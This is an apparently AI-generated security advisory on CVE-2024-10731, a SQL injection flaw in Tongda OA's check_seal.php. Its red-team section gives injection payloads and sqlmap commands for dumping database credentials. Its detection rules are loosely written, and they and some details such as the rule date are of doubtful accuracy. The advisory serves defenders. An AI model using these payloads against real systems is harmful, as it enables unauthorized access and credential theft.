CVE-2024-10731

Executive Summary

CVE-2024-10731 is a critical SQL injection vulnerability discovered in Tongda OA (Office Automation) up to version 11.10. The flaw resides in the /pda/appcenter/check_seal.php file, where the ID parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full system compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Tongda OA web application, which is a proprietary PHP-based system. Organizations using Tongda OA should treat this as a critical supply chain risk due to the lack of a vendor patch.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): High – Full database contents can be read.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – The database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the check_seal.php endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied ID parameter without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

<?php
$id = $_GET['ID'];
$sql = "SELECT * FROM seals WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

The attacker can manipulate the ID parameter to break out of the intended query structure. For example, a payload like 1 UNION SELECT username, password FROM users would return user credentials alongside the original query results.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /pda/appcenter/check_seal.php?ID=1' OR '1'='1.
2. The injected SQL causes the database to return all rows from the seals table.
3. The attacker can then refine the payload to extract data from other tables, such as users, config, or logs.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual fix.

Vulnerable Code:

$id = $_GET['ID'];
$sql = "SELECT * FROM seals WHERE id = $id";

Patched Code (Using Prepared Statements):

$stmt = $conn->prepare("SELECT * FROM seals WHERE id = ?");
$stmt->bind_param("i", $id);
$id = $_GET['ID'];
$stmt->execute();
$result = $stmt->get_result();

The patched version uses a parameterized query, which ensures the ID value is treated as data, not executable SQL code. This completely mitigates SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Tongda OA 11.10 running on a local VM (e.g., Ubuntu 20.04 with Apache, MySQL, PHP).
• Attacker: Kali Linux with sqlmap and curl.

Exploitation Steps:

1. Basic SQL Injection Detection:

   curl "http://target.com/pda/appcenter/check_seal.php?ID=1'"
   

   If the server returns a database error (e.g., MySQL syntax error), the parameter is injectable.

2. Manual Exploitation:

   http://target.com/pda/appcenter/check_seal.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Adjust the number of columns based on the original query.

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/pda/appcenter/check_seal.php?ID=1" --batch --dbs
   

4. Extract User Credentials:

   sqlmap -u "http://target.com/pda/appcenter/check_seal.php?ID=1" --batch -D tongda -T users --dump
   

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for suspicious check_seal.php requests containing SQL keywords (UNION, SELECT, OR, ').
• Implement a Web Application Firewall (WAF) rule to block requests with SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Honeypot Setup:

• Deploy a decoy Tongda OA instance with a fake database to lure attackers and capture their techniques.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /pda/appcenter/check_seal.php with unusual parameters (e.g., ID=1' OR '1'='1).
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified check_seal.php file (if attacker uploads a web shell).
• Suspicious files in /pda/appcenter/ directory (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing repeated check_seal.php requests with SQL injection patterns.
• Database logs showing UNION SELECT or OR 1=1 queries.

Detection Engineering

YARA Rule

rule CVE_2024_10731_SQLi_CheckSeal {
    meta:
        description = "Detects SQL injection attempts targeting Tongda OA check_seal.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10731"
    strings:
        $s1 = "check_seal.php" nocase
        $s2 = "ID=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR" nocase
        $s6 = "'" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: CVE-2024-10731 SQL Injection in Tongda OA check_seal.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA check_seal.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "check_seal.php?ID="
            - "UNION"
            - "SELECT"
            - "OR"
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10731 SQL Injection in Tongda OA check_seal.php"; flow:to_server,established; content:"check_seal.php"; http_uri; content:"ID="; http_uri; pcre:"/(UNION|SELECT|OR|'|\-\-)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Disable the vulnerable endpoint temporarily by renaming or removing check_seal.php.

Long-Term Fix:

• Vendor Patch: Await an official patch from Tongda. Contact their support for an ETA.
• Code Fix: If you have access to the source code, implement parameterized queries as shown in the patched code section.
• Upgrade: If a patched version becomes available, upgrade immediately.

Compensating Controls:

• Implement strict input validation for all user-supplied parameters.
• Use a database user with minimal privileges (e.g., read-only for the web application).
• Enable detailed logging and monitoring for all database queries.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.